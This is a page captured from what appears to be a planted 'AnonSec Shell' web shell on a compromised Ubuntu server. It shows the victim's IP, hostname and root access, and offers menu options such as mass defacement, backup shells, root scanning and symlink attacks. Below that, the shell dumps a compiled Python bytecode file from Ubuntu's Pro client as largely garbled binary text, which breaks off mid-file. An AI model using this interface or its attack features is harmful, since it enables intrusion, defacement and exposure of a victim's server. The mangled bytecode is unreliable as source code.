AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/uaclient/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/uaclient/__pycache__/cli.cpython-310.pyc
o

F��cL�
@sdZddlZddlZddlZddlZddlZddlZddlZddlZddl	Z	ddl
Z
ddlZddlm
Z
ddlmZmZmZddlZddlmZmZmZmZmZmZmZmZmZmZmZmZm Z m!Z!ddlm"Z#ddlm$Z$m%Z%ddl&m'Z'dd	l(m)Z)m*Z*dd
l+m,Z,ddl-m.Z.m/Z/ddl0m1Z1m2Z2dd
l3m4Z4ddl5m6Z6m7Z7ddl8m9Z9m:Z:ddl;m<Z<m=Z=ddl>m?Z?m@Z@mAZAddlBmCZCmDZDmEZEmFZFddlGmHZHddlImJZJmKZKdZLdZMdZNdZOdZPdZQgd�ZRdZSdejTdZUe�V�ZWGdd �d ejX�ZYd�d!d"�ZZd#d$�Z[d%d&�Z\d�d'd(�Z]d)d*�Z^d+d,�Z_d-d.�Z`d/d0�Zad1d2�Zbd3d4�Zcd5d6�Zdd7d8�Zed9d:�Zfd;d<�Zgd=d>�Zhd?d@�ZidAdB�ZjdCdD�ZkdEdF�ZldGejmfdHdI�ZndGejmfdJdK�ZodGejmfdLdM�ZpdNdO�ZqdPdQ�ZrdRdS�ZsdGejmdTetdUetfdVdW�ZudXdY�dZd[�Zvd\d]�Zwd^d_�Zxe[d`da��Zye[dbdc��Zzddde�Z{e\e[e]e{�eZdf�dgdh�����Z|e\e[e]e{�eZdi�djdk�����Z}e\e[e]�eZdl�dme~fdndo�����ZdGejmdpe�dme~fdqdr�Z�dGejmdmdfdsdt�Z�dudv�Z�e[dGejmdme~fdwdx��Z�dydz�Z�e^e[eZd{�d|d}����Z�dGejmfd~d�Z�dGejmfd�d��Z�d�d��Z�d�d��Z�dGejmfd�d��Z�d�d�d��Z�dGejmfd�d��Z�e]�dGejmfd�d���Z�dGejmfd�d��Z�e[eZd��dGejmfd�d����Z�dGejmd�e6d�etd�eetdmdf
d�d��Z�d�d��Z�d�d�d�d��Z�d�d�d��Z�d�d��Z�d�d��Z�e�d�d�d���Z�e�d�k�r�e��e���dSdS)�z2Client to manage Ubuntu Pro services on a machine.�N��wraps)�List�Optional�Tuple)�actions�apt�apt_news�config�contract�daemon�defaults�entitlements�event_logger�
exceptions�lock�messages�security�security_status)�status)�util�version)�call_api)�FullAutoAttachOptions�_full_auto_attach)�	_initiate)�MagicAttachRevokeOptions�_revoke)�MagicAttachWaitOptions�_wait)�_reboot_required)�
AptProxyScope�setup_apt_proxy)�AttachActionsConfigFile�IncorrectTypeError)�DEFAULT_LOG_FORMAT�PRINT_WRAP_WIDTH)�,create_enable_entitlements_not_found_message�entitlements_disable_order�get_valid_entitlement_names)�ApplicationStatus�CanDisableFailure�CanEnableFailure�CanEnableFailureReason)�state_files)�refresh_motd�update_apt_and_motd_messages�proz{name} {command} [flags]zAUse {name} {command} --help for more information about a command.z&Try 'pro --help' for more information.z}Account: {account}
Subscription: {subscription}
Valid until: {contract_expiry}
Technical support level: {tech_support_level}
z$https://auth.contracts.canonical.com)�tabular�json�yamlzua_logs.tar.gz�
z� A new version is available: {version}
Please run:
    sudo apt-get install ubuntu-advantage-tools
to get the latest version with new features and bug fixes.csleZdZdddejdfdeef�fdd�
Zdd�Zd
�fdd	�	Z	e
d
eeeeeffdd��Z
�ZS)�UAArgumentParserN�	base_desccst�j||||d�||_dS)N)�prog�usage�epilog�formatter_class)�super�__init__r7)�selfr8r9r:r;r7��	__class__��./usr/lib/python3/dist-packages/uaclient/cli.pyr=ls�
zUAArgumentParser.__init__cCs,|�tj�|dkrt}|�d|d�dS)Nz&the following arguments are required: �r5)�print_usage�sys�stderr�TRY_HELP�exit)r>�messagerArArB�error}szUAArgumentParser.errorFcsP|jrt��\}}t|�}|rt||�}d�|jg|�|_t�j|d�dS)Nr5��file)r7r6�_get_service_descriptions�sorted�join�descriptionr<�
print_help)r>rL�show_all�non_beta_services_desc�beta_services_desc�service_descriptionsr?rArBrQ�s��
�zUAArgumentParser.print_help�returnc	Cs�t��dk}tj|d�}d}g}g}t�t���}|D]K}ztj||dd�}Wn
tj	y2Yqw|�
d|d�}|jrEd�|j�}	nd}	t
j|j||j|	d	�td
ddd�}
|jra|�|
�q|�|
�q||fS)
Nr��	root_modez - {name}: {description}{url}�name��cfgrY�presentedAsz ({})�)rYrP�urlz   F)�width�subsequent_indent�break_long_words�break_on_hyphens)�os�getuidr
�UAConfigr�get_available_resourcesr�entitlement_factoryr�EntitlementNotFoundError�get�help_doc_url�format�textwrap�fillrPr&�is_beta�append)rXr[�service_info_tmplrSrT�	resources�resource�ent_cls�presentation_namer^�service_inforArArBrM�sB
����z*UAArgumentParser._get_service_descriptions)NF)�__name__�
__module__�__qualname__�argparse�
HelpFormatterr�strr=rJrQ�staticmethodrrrM�
__classcell__rArAr?rBr6ks��(r6c��fdd�}|S)z1Decorator asserting exclusive access to lock filec�t����fdd��}|S)NcsFtj|�d���|d|i|��}Wd�|S1swY|S)N)r[�lock_holderr[)r�SingleAttemptLock)r[�args�kwargs�retval)�fr�rArB�new_f�s
��z0assert_lock_file.<locals>.wrapper.<locals>.new_fr�r�r��r��r�rB�wrapper�sz!assert_lock_file.<locals>.wrapperrA)r�r�rAr�rB�assert_lock_file�s	r�c�t���fdd��}|S)zDecorator asserting root usercs"t��dkr
t����|i|��S�Nr)rcrdr�NonRootUserError)r�r�r�rArBr��szassert_root.<locals>.new_frr�rAr�rB�assert_root�sr�cr�)z>Decorator to verify if correct params are used for json formatcsX|s
�|g|�Ri|��S|jdkr!|js!tj}tj|j|jd���|g|�Ri|��S)Nr3��msg�msg_code)rk�
assume_yesr�JSON_FORMAT_REQUIRE_ASSUME_YESr�UserFacingErrorr�rY)�cmd_argsr�r�r�r�rArBr��sz&verify_json_format_args.<locals>.new_frr�rAr�rB�verify_json_format_args�s
r�cr~)z�Decorator asserting attached config.
    :param msg_function: Optional function to generate a custom message
    if raising an UnattachedError
    cr)Ncs^|js%�rt|dd�}t|dd�}�|||d�}t�|�}|�t��}|��|fd|i|��S)N�commandr]�service)r��
service_namesr[r[)�is_attached�getattrr�UnattachedError)r�r[r�r�r�r��	exception)r��msg_functionrArBr��s�
�z/assert_attached.<locals>.wrapper.<locals>.new_frr��r�r�rBr��sz assert_attached.<locals>.wrapperrA)r�r�rAr�rB�assert_attached�sr�cr�)z&Decorator asserting unattached config.cs(|jrt�|jj�dd����||d�S)NrYr]�r[)r�r�AlreadyAttachedError�machine_token_file�accountri�r�r[r�rArBr�s
�z"assert_not_attached.<locals>.new_frr�rAr�rB�assert_not_attachedsr�cCs4d|_d|_|jdddd�|jddgd	d
d�|S)z5Build or extend an arg parser for the api subcommand.�api�Calls the Client API endpoints.�
endpoint_path�endpointzAPI endpoint to call)�metavar�helpz--args�options�*z;Options to pass to the API endpoint, formatted as key=value)�dest�default�nargsr�)r8rP�add_argument��parserrArArB�
api_parsers��r�cCs*d|_d|_tjt|jd�|_d|j_|S)z9Build or extend an arg parser for auto-attach subcommand.�auto-attachz5Automatically attach on an Ubuntu Pro cloud instance.�rYr��Flags)r8rP�
USAGE_TMPLrk�NAMEr9�
_optionals�titler�rArArB�auto_attach_parser.s�r�cCs2d|_d|_tjt|jd�|_|jdddd�|S)z<Build or extend an arg parser for 'collect-logs' subcommand.�collect-logsz<Collect logs and relevant system information into a tarball.r�z-oz--outputzEtarball where the logs will be stored. (Defaults to ./ua_logs.tar.gz)�r�)r8rPr�rkr�r9r�r�rArArB�collect_logs_parser9s��r�cCs0tjtdd�|_d|_d|_|jdddd�|S)	z;Build or extend an arg parser for 'config show' subcommand.z
show [key]r��showz(Show customisable configuration settings�key�?z6Optional key or key(s) to show configuration settings.�r�r�)r�rkr�r9r8rPr�r�rArArB�config_show_parserKs�r�cCsDtjtdd�|_d|_d|_d|j_|jdd�d�	t
j��d	�|S)
z:Build or extend an arg parser for 'config set' subcommand.zset <key>=<value>r��setz/Set and apply Ubuntu Pro configuration settingsr��key_value_pairzKkey=value pair to configure for Ubuntu Pro services. Key must be one of: {}�, r�)r�rkr�r9r8rPr�r�r�rOr
�UA_CONFIGURABLE_KEYSr�rArArB�config_set_parserXs
��	r�cCsFtjtdd�|_d|_d|_|jdd�d�tj	��dd�d	|j
_|S)
z<Build or extend an arg parser for 'config unset' subcommand.zunset <key>r��unsetz&Unset Ubuntu Pro configuration settingr�z?configuration key to unset from Ubuntu Pro services. One of: {}r�)r�r�r�)r�rkr�r9r8rPr�rOr
r�r�r�r�rArArB�config_unset_parserjs�r�cCs�tjtdd�|_d|_d|_d|j_|jdddd	�}|j	d
dd�}|j
td
�t|�|j	ddd�}|j
t
d
�t|�|j	ddd�}|j
td
�t|�|S)z4Build or extend an arg parser for config subcommand.zconfig <command>r�r
zManage Ubuntu Pro configurationr��Available Commandsr�r]�r�r�r�r�z,show all Ubuntu Pro configuration setting(s)r���actionr�z$set Ubuntu Pro configuration settingr�z&unset Ubuntu Pro configuration setting)r�rkr�r9r8rPr�r��add_subparsers�
add_parser�set_defaults�action_config_showr��action_config_setr��action_config_unsetr�)r��
subparsers�parser_show�
parser_set�parser_unsetrArArB�
config_parser{s.����r�cCs�tjtdd�|_tj|_d|_d�tj	�}|dd|_
d|j_|j
dd	d
�t�d�|j
dd
ddd�|j
dt�d�dd�|j
ddddgddd�|S)z4Build or extend an arg parser for attach subcommand.zattach <token>r��attachz@Attach this machine to Ubuntu Pro with a token obtained from:
{}z

z�When running this command without a token, it will generate a short code
and prompt you to attach the machine to your Ubuntu Pro account using
a web browser.r��tokenr�z0token obtained for Ubuntu Pro authentication: {}r�z--no-auto-enable�store_false�auto_enablez4do not enable any recommended services automatically)r�r�r�z--attach-config�rzKuse the provided attach config file instead of passing the token on the cli)�typer��--format�store�clir3�4output enable in the specified format (default: cli)�r��choicesr�r�)r�rkr�r9ry�RawDescriptionHelpFormatterr;r8r
�BASE_UA_URLrPr�r�r��UA_AUTH_TOKEN_URL�FileType)r�r7rArArB�
attach_parser�sN����	�����r�cCsFtjtdd�|_d|_d|_d|j_|jddd�|jd	d
dd�|S)
z1Build or extend an arg parser for fix subcommand.z"fix <CVE-yyyy-nnnn+>|<USN-nnnn-d+>r��fixzLInspect and resolve CVEs and USNs (Ubuntu Security Notices) on this machine.r��security_issuezwSecurity vulnerability ID to inspect and resolve on this system. Format: CVE-yyyy-nnnn, CVE-yyyy-nnnnnnn or USN-nnnn-ddr�z	--dry-run�
store_truezrIf used, fix will not actually run but will display everything that will happen on the machine during the command.�r�r��	r�rkr�r9r8rPr�r�r�r�rArArB�
fix_parser�s"����
r�cCsxd|_tj|_t�d�|_|jddddd�|��}|jdd	d
d�|jdd
d
d�|jddd
d�|jddd
d�|S)z=Build or extend an arg parser for security-status subcommand.�security-statusa]        Show security updates for packages in the system, including all
        available Expanded Security Maintenance (ESM) related content.

        Shows counts of how many packages are supported for security updates
        in the system.

        If called with --format json|yaml it shows a summary of the
        installed packages based on the origin:
        - main/restricted/universe/multiverse: packages from the Ubuntu archive
        - esm-infra/esm-apps: packages from the ESM archive
        - third-party: packages installed from non-Ubuntu sources
        - unknown: packages which don't have an installation source (like local
          deb packages or packages for which the source was removed)

        The output contains basic information about Ubuntu Pro. For a
        complete status on Ubuntu Pro services, run 'pro status'.
        r�zFormat for the output)r3r4�textr�)r�r�r�z--thirdpartyz7List and present information about third-party packagesr�)r�r�z
--unavailablez7List and present information about unavailable packagesz--esm-infraz5List and present information about esm-infra packagesz
--esm-appsz4List and present information about esm-apps packages)	r8ryr�r;rl�dedentrPr��add_mutually_exclusive_group)r��grouprArArB�security_status_parser�sB������r�cCsTd|_d|_tjtdd�|_d|j_tj	|_
t�d�|_|j
dgd�d	d
dd�|S)
z5Build or extend an arg parser for refresh subcommand.�refreshz9Refresh existing Ubuntu Pro contract and update services.z"refresh [contract|config|messages]r�r�a�        Refresh three distinct Ubuntu Pro related artifacts in the system:

        * contract: Update contract details from the server.
        * config:   Reload the config file.
        * messages: Update APT and MOTD messages related to UA.

        You can individually target any of the three specific actions,
        by passing it's target to nome to the command.  If no `target`
        is specified, all targets are refreshed.
        �target)rr
rr�NzTarget to refresh.)r�r�r�r�)r8rPr�rkr�r9r�r�ryr�r;rlr�r�r�rArArB�refresh_parser"s&���
�r�cKs�|jdkr2|jrt��dS|jrt��dS|jr!t�|�dS|jr+t�	|�dSt�|�dS|jdkrGt
tjt�
|�dtjd��dSt
tjt�
|�dd��dS)Nr�r3T)�	sort_keys�clsF)�default_flow_styler)rk�
thirdpartyr�list_third_party_packages�unavailable�list_unavailable_packages�	esm_infra�list_esm_infra_packages�esm_apps�list_esm_apps_packages�printr3�dumps�security_status_dictr�DatetimeAwareJSONEncoderr4�	safe_dump�r�r[r�rArArB�action_security_statusEs>
��
�

�
������rcKs@t�tj|j�sd�|j�}t�|��tj||j|j	d�}|j
S)NzYError: issue "{}" is not recognized.
Usage: "pro fix CVE-yyyy-nnnn" or "pro fix USN-nnnn")r[�issue_id�dry_run)�re�matchr�CVE_OR_USN_REGEXr�rkrr��fix_security_issue_idr�value)r�r[r�r��
fix_statusrArArB�
action_fixcs�
�rcCsTtjtdd�}||_d|_d|_d|j_|jdddd�|jd	d
ddgdd
d�|S)z4Build or extend an arg parser for detach subcommand.�detachr�z-Detach this machine from Ubuntu Pro services.r��--assume-yesr�z;do not prompt for confirmation before performing the detachr�r�r�r�r3r�r�r��r�r9rArArB�
detach_parserss$��rr[cCs�tjtdd�}||_d|_d|_d|j_|jdddd	�d
�	t
j|d���d�|jd
dttdd�td�d�|jdddd�|S)z2Build or extend an arg parser for help subcommand.zhelp [service]r�r�z7Provide detailed information about Ubuntu Pro services.�	Argumentsr�r�r�z-a service to view help output for. One of: {}r�r��r�r�r�r�rz1output help in the specified format (default: {})r��--allr��(Allow the visualization of beta servicesr�)
r�rkr�r9r8rP�_positionalsr�r�rOr�valid_services�STATUS_FORMATS�r�r[r9rArArB�help_parser�s:���	���r$cCs�tjtdd�}d|_||_d|_d|j_d|j_|j	ddd	d
�d�
tj|d���d
�|j	dddd�|j	dddd�|j	dddd�|j	ddddgddd�|S)z4Build or extend an arg parser for enable subcommand.zenable <service> [<service>]r�zEnable an Ubuntu Pro service.�enablerr�r�r��+z<the name(s) of the Ubuntu Pro services to enable. One of: {}r�r�rrr�z;do not prompt for confirmation before performing the enabler�z
--access-onlyzHdo not auto-install packages. Valid for cc-eal, cis and realtime-kernel.z--betaz allow beta service to be enabledr�r�r3r�r��
r�rkr�rPr9r8r r�r�r�rOrr!r#rArArB�
enable_parser�sL�������r(cCs�tjtdd�}d|_||_d|_d|j_d|j_|j	ddd	d
�d�
tj|d���d
�|j	dddd�|j	ddddgddd�|S)z5Build or extend an arg parser for disable subcommand.zdisable <service> [<service>]r�zDisable an Ubuntu Pro service.�disablerr�r�r�r&z=the name(s) of the Ubuntu Pro services to disable. One of: {}r�r�rrr�z<do not prompt for confirmation before performing the disabler�r�r�r3z5output disable in the specified format (default: cli)r�r'r#rArArB�disable_parser�s<�����r*cCsZtjtdd�|_d|_d|_d|j_|jdddd	�}|j	d
dd�}|j
td
�t|�|S)z4Build or extend an arg parser for system subcommand.zsystem <command>r�z9Output system related information related to Pro services�systemr�r�r�r]r��reboot-requiredz#does the system need to be rebootedr�r�)
r�rkr�r9rPr8r�r�r�r�r��action_system_reboot_required�reboot_required_parser)r�r��parser_reboot_requiredrArArB�
system_parsers���r0cCs.tjtdd�|_d|_tj|_t�	d�|_
|S)Nzsystem reboot-requiredr�r,al        Report the current reboot-required status for the machine.

        This command will output one of the three following states
        for the machine regarding reboot:

        * no: The machine doesn't require a reboot
        * yes: The machine requires a reboot
        * yes-kernel-livepatches-applied: There are only kernel related
          packages that require a reboot, but Livepatch has already provided
          patches for the current running kernel. The machine still needs a
          reboot, but you can assess if the reboot can be performed in the
          nearest maintenance window.
        )r�rkr�r9r1ryr�r;rlr�rPr�rArArBr.s��r.c	Cs�tjtdd�}||_d|_d|_tj|_t	�
d�|_|jddddd	�|jd
dttdd
�td�d�|jddddd�|jdddd�d|j
_|S)z4Build or extend an arg parser for status subcommand.rr�z6Output the status information for Ubuntu Pro services.u;        Report current status of Ubuntu Pro services on system.

        This shows whether this machine is attached to an Ubuntu Advantage
        support contract. When attached, the report includes the specific
        support contract details including contract name, expiry dates, and the
        status of each service on this system.

        The attached status output has four columns:

        * SERVICE: name of the service
        * ENTITLED: whether the contract to which this machine is attached
          entitles use of this service. Possible values are: yes or no
        * STATUS: whether the service is enabled on this machine. Possible
          values are: enabled, disabled, n/a (if your contract entitles
          you to the service, but it isn't available for this machine) or — (if
          you aren't entitled to this service)
        * DESCRIPTION: a brief description of the service

        The unattached status output instead has three columns. SERVICE
        and DESCRIPTION are the same as above, and there is the addition
        of:

        * AVAILABLE: whether this service would be available if this machine
          were attached. The possible values are yes or no.

        If --simulate-with-token is used, then the output has five
        columns. SERVICE, AVAILABLE, ENTITLED and DESCRIPTION are the same
        as mentioned above, and AUTO_ENABLED shows whether the service is set
        to be enabled when that token is attached.

        If the --all flag is set, beta and unavailable services are also
        listed in the output.
        z--waitr�Fz Block waiting on pro to complete)r�r�r�r�r�rz3output status in the specified format (default: {})r�z--simulate-with-token�TOKENz1simulate the output status using a provided token)r�r�r�rrr�r�)r�rkr�r9rPr8ryr�r;rlr�r�r"r�r�rrArArB�
status_parser1sJ��%�����r2�cmd_name�subcmd_namecCsft|d�}|��dj|}|��dj��}||vr1|��dj|��t�d�d�|����dS)Nr�rz
<command> must be one of: {}r�)	�
get_parser�_get_positional_actionsr��keysrQrr�rkrO)r[r3r4r��	subparser�
valid_choicesrArArB�_print_help_for_subcommand�s
��r:T)�
update_statuscCs�|��\}}|s1t�|j�|dur0t|t�r0|jdur0t�|jj�tj	|jj|jj|jd�nt�
|j�|r?tj|d�|S)a=Perform the disable action on a named entitlement.

    :param entitlement_name: the name of the entitlement to enable
    :param cfg: the UAConfig to pass to the entitlement
    :param assume_yes:
        Assume a yes response for any prompts during service enable

    @return: True on success, False otherwise
    N��	error_msg�
error_coder�r�)
r)�event�service_failedrY�
isinstancer+rI�infor�rJ�service_processed�	ua_statusr)�entitlementr[r�r;�ret�reasonrArArB�_perform_disable�s 

��rHcK�t|d|jd�dS)zGPerform the config action.

    :return: 0 on success, 1 otherwise
    r
�r3r4r�r:r�r
rArArB�
action_config���rLcKs�|jr9|jtjvr(d�|jd�tj��}|�d�d}t�tj	|t
d|d���tdj|jt||jd�d	��d
St
tdd�tjD��d
�}d|d}tjD]}t|j|t||d�d	��qP|jsf|jrr|jsl|jrttd�dSdSdS)z�Perform the 'config show' action optionally limit output to a single key

    :return: 0 on success
    :raise UserFacingError: on invalid keys
    z
'{}' must be one of: {}r��:rC� )r_r`z
{key} {value}N)r�rrcSsg|]}t|��qSrA)�len)�.0�xrArArB�
<listcomp>�sz&action_config_show.<locals>.<listcomp>�z{key: <z	} {value}zo
Error: Setting global apt proxy and pro scoped apt proxy at the same time is unsupported. No apt proxy is set.)r�r
r�rkrO�findrr�rlrmr&rr�r{�max�global_apt_http_proxy�global_apt_https_proxy�ua_apt_http_proxy�ua_apt_https_proxy)r�r[r�r��indent_position�	col_width�row_tmplr�rArArBr��s@�����
����r�c	Ksddlm}ddlm}t|d�}|��djd}|��djd}z
|j�d�\}}	Wnt	yA|�
�t�d�
|j���w|tjvrW|�
�t�d	�
d
�tj����|dvr�|�d�d}
|
d
krjtj}ntj}t�|
|	|�||	i}|di|��tj�|�}|��\}
}|
tjkr�|di|��n�||jvr�|�d�d}
|
d
kr�tj}ntj}t�|
|	|�t|jp�|j �}|r�t!t"j#j
ddd��t$|t%j&||	�d|_d|_ n�||j'|j(v�r4d|vr�dnd
}
|
d
kr�tj}ntj}||j'v�rt!t"j)j
|
d��d|}t�|
|	|�t|j*�p|j+�}|�r%t!t"j#j
ddd��t$|t%j,||	�d|_*d|_+nJ|dv�rezt-|	�}	|	dk�rJt	d�
|���Wn2t	�yd|�
�t!d�t�d�
||	���w|dk�r~|	�.�dk}	|	�ryt/�0|�nt1j2�3�t4|||	�dS)zMPerform the 'config set' action.

    @return: 0 on success, 1 otherwise
    r)�configure_livepatch_proxy)�configure_snap_proxyr�r
r��=z%
Expected <key>=<value> but found: {}�
<key> must be one of: {}r���
http_proxy�https_proxy�_�httprCzpro scoped aptz
global apt)�
current_proxy�previous_proxyN�https��
protocol_type�global_)�update_messaging_timer�metering_timerzInvalid interval for {}r]zECannot set {} to {}: <value> for interval must be a positive integer.r	�truerA)5�uaclient.entitlements.livepatchr^�
uaclient.snapr_r5r6r�r��split�
ValueErrorrQrr�rkr
r�rOr�PROXY_VALIDATION_SNAP_HTTP_URL�PROXY_VALIDATION_SNAP_HTTPS_URL�validate_proxyr�	livepatch�LivepatchEntitlement�application_statusr*�ENABLED�ua_scoped_proxy_options�PROXY_VALIDATION_APT_HTTP_URL�PROXY_VALIDATION_APT_HTTPS_URL�boolrWrXrr�WARNING_APT_PROXY_OVERWRITE�configure_apt_proxyr!�UACLIENT�&deprecated_global_scoped_proxy_options�global_scoped_proxy_options�WARNING_APT_PROXY_SETUPrYrZ�GLOBAL�int�lowerr	�update_apt_newsr.�apt_news_contents_file�delete�setattr)r�r[r�r^r_r�r�r8�set_key�	set_valuerk�validate_urlrE�livepatch_statusre�
unset_currentrArArBr��s�
���

��
�

���������

���


r�c
Ksdddlm}ddlm}ddlm}|jtjvr?t	|d�}|�
�djd}|�
�djd}|��t
�d�d	�tj����|jd
vrh|j�d�d}	||	d�tj�|�}
|
��\}}|tjkrg||	d�nA|j|jvrxt||j|jd
�n1|j|j|jvr�|j|jvr�d|jvr�dnd}	t�tj j|	d��d|j|_t||j!|jd
�t"||jd
�dS)zOPerform the 'config unset' action.

    @return: 0 on success, 1 otherwise
    r)r!)�unconfigure_livepatch_proxy)�unconfigure_snap_proxyr�r
r�rar�rbrerjNrirfrl)#�uaclient.aptr!rpr�rqr�r�r
r�r5r6r�rQrr�rkrOrrrrwrxryr*rzr{r�r�r�r�r?rBrr�r�r�)
r�r[r�r!r�r�r�r�r8rkrEr�rerArArBr�_sN

��



�����r�cCs�t||d�\}}|r |r tj}|jd�|�|d�|�dd�}|S|r.tjjd�|�d�}|Stjj|d�|�d�tj�d�}|S)z�Generates a custom message for enable/disable commands when unattached.

    Takes into consideration if the services exist or not, and notify the user
    accordingly.)�namesr[r�r])�
valid_service�	operation�invalid_service�service_msg)r�zSee {}�r�r�r�)	r)r�!MIXED_SERVICES_FAILURE_UNATTACHEDrkrO� VALID_SERVICE_FAILURE_UNATTACHED�INVALID_SERVICE_OP_FAILUREr
r�)r�r�r[�entitlements_found�entitlements_not_foundr�rArArB�%_create_enable_disable_unattached_msg�s.
����	�
�r�zpro disablecKs�t|dg�}t||�\}}d}|D]}tj||d�}|||jd�}	|t|	||jd�M}q|rSdd�tj|dd��d}
d	�tj	|
d
ddd��}t
jd
d�|�|d��t�
�|r[dSdS)zbPerform the disable action on a list of entitlements.

    @return: 0 on success, 1 otherwise
    r�TrZ�r�zTry r��r[�
allow_beta�.r5�PF)r_rarbr)r�rrT)r�r)rrgr�rHrOr!rl�wrapr�InvalidServiceToDisableErrorr?�process_events)r�r[r�r�r�r�rF�ent_namers�ent�valid_namesr�rArArB�action_disable�s>	�������r�z
pro enablecKs�t�tj�zt�|�Wntjtjfy)t	j
tjdd�tjtjd�Ynwt
|dg�}t||�\}}d}|D]�}z_tj|||j|j|jd�\}}	tj|d�|s�|	dur�t|	t�r�|	jdurvt�|	jj�tj|	jj|	jj|d�|	jtjkr�|�|�n|r�tj |d	�n|s�|	dur�tj!|d	�||M}Wq;tjy�}
zt�|
j�tj|
j|
j"|d�d
}WYd}
~
q;d}
~
ww|r�t#|||jd�}t�$|�tj|j|jd��t�%�|r�d
SdS)z^Perform the enable action on a named entitlement.

    @return: 0 on success, 1 otherwise
    T)�exc_info)�warning_msgr�)r�r��access_onlyr�Nr<)r�Fr�r�rrT)&r?rBr�REFRESH_CONTRACT_ENABLEr�request_updated_contractr�UrlErrorr��logging�debug�REFRESH_CONTRACT_FAILURE�warningr�r)r�enable_entitlement_by_namer��betar�rDrrAr,rIr�rJrYrGr-�IS_BETArorCr@r�r'�services_failedr�)r�r[r�r�r�r�rFr��ent_retrG�er�rArArB�
action_enable�sv	��
����
�
�
����
r�z
pro detachrVcCs*t||jd�}|dkrt��t��|S)zXPerform the detach action for this machine.

    @return: 0 on success, 1 otherwise
    r�r)�_detachr�r�startr?r�)r�r[rFrArArB�
action_detach"s
	r�r�c		Cs�g}t|�D]+}z	tj||d�}Wn
tjyYqw|||d�}|jdd�\}}|r1|�|�q|rTt|�dkr<dnd}t�	d�
|��|D]}t�	d	�
|j��qHtj
|d
�s\dS|D]
}t|||dd�q^|��|j��t|�t�	tj�d
S)a7Detach the machine from the active Ubuntu Pro subscription,

    :param cfg: a ``config.UAConfig`` instance
    :param assume_yes: Assume a yes answer to any prompts requested.
         In this case, it means automatically disable any service during
         detach.

    @return: 0 on success, 1 otherwise
    rZ)r[r�T)�ignore_dependent_servicesrT�sr]z,Detach will disable the following service{}:z    {}r�F)r�r;r)r(rrgrrh�can_disablerorPr?rBrkrYr�prompt_for_confirmationrH�delete_cacher�r�r0r�DETACH_SUCCESS)	r[r��
to_disabler�rsr�rFre�suffixrArArBr�2s8
�
��
r�cCs�d}|jr|j�di��di��d�}|r t�tjj|d��nt�tj�t�	�t�
|�t�|�\}}t
�|�}t�t�|��t��dS)N�machineTokenInfo�contractInforY)�
contract_name)�
machine_tokenrir?rBr�ATTACH_SUCCESS_TMPLrk�ATTACH_SUCCESS_NO_CONTRACT_NAMEr�stop�cleanuprrrD�format_tabularr�handle_unicode_charactersr�)r[r�r�_ret�outputrArArB�_post_cli_attach^s"��

r�cCs.t|j|j|�}t|���|jdkrdSdS)N�successrrT)rr�r�r�to_json�result�r�r[r�rArArB�
action_apixsr�cCsJztt�|tjjd�Wntjyt�t	j
j�YdSwt|�dS)N)r[�moderTr)
rrr�EventLoggerMode�CLIrr�r?rBr�ATTACH_FAILUREr�r�r�rArArB�action_auto_attach~s
��r�c
Ks�|jdkr
tjd|jd��t�d�t|d�}t�d�t�d�t�d�tjj|j	tjj
��t|jd	�}zt
||d
�}Wn tjy^}zt�d�t|jd	�}t||d
�|�d}~wwt�d�|jS)
Nr3r�)�paramrzInitiating attach operation...r�z8
Please sign in to your Ubuntu Pro account at this link:zhttps://ubuntu.com/pro/attachz&And provide the following code: {}{}{})�magic_token)r�r[zFailed to perform magic-attachz
Attaching the machine...)rkr�MagicAttachInvalidParamr?rBrr�TxtColor�BOLD�	user_code�ENDCrr�r�MagicAttachTokenErrorrr�contract_token)r�r[r��
initiate_resp�wait_options�	wait_respr��revoke_optionsrArArB�
_magic_attach�s<
�



��
���
	r�z
pro attachc
Cs�|jr|jrtjtjjtjjd��|js |js t||d�}d}n1|jr)|j}d}n(zt	�
t�|j��}Wnt
yJ}z
tj|jj|jd��d}~ww|j}|j}|joW|du}z
tj|||d�Wntjynt���wd}|dur�|jr�t||�\}}	|D]8}
tj||
ddd�\}}|s�d}|dur�t|t�r�|jdur�t�|jj�tj|jj|jj|
d	�q�t�|
�q�|	r�t|	|dd
�}
tj|
jtj d�tj|
j|
jd�d}t!|�|S)
Nr�r�)�config_namerJ)r��allow_enablerT)r�r�rTr<r�)�	file_type�r=r>)"r��
attach_configrr�r�ATTACH_TOKEN_ARG_XOR_CONFIGr�rYr�r#�	from_dictr4�	safe_loadr$�AttachInvalidConfigFileError�enable_servicesr�r�attach_with_tokenr��AttachErrorr)r�rAr,rIr?rBrJrCr'rErFr�)r�r[r��enable_services_overrider�r�r�rF�found�	not_foundrYr�rGr�rArArB�
action_attach�s~�
�
�����
�������r�cCs�|jpt}t���M}t�||�zt�|d��}|j|dd�Wd�n1s)wYWnt	yM}zt
�|�WYd}~Wd�dSd}~wwWd�dS1sYwYdS)Nzw:gzzlogs/)�arcnamerTr)r��UA_COLLECT_LOGS_FILE�tempfile�TemporaryDirectoryr�collect_logs�tarfile�open�add�PermissionErrorr�rJ)r�r[�output_file�
output_dir�resultsr�rArArB�action_collect_logs�s&

��

���
��r	cCs�t}tttjtjtdd�tjtdd�|d�}|jdddd�|jdd	t	�
�d
�t�d�d|j_|j
d
ddd�}d|_|jddd�}t|�|jtd�|jddd�}t|�|jtd�|jddd�}t|�|jtd�|jddd�}t|�|jtd�|jddd�}t|�|jtd�|jddd�}	t|	�|	jtd�|jd d!d�}
t|
|d"�|
jtd�|jd#d$d�}t||d"�|jt d�|jd%d&d�}|jt!d�t"|�|jd'd(d�}
t#|
�|
jt$d�|jd)d*d�}t%||d"�|jt&d�|jd+d,d�}|jt'd�t(|�|jd-d.d�}|jt)d�t*|�|jd	d
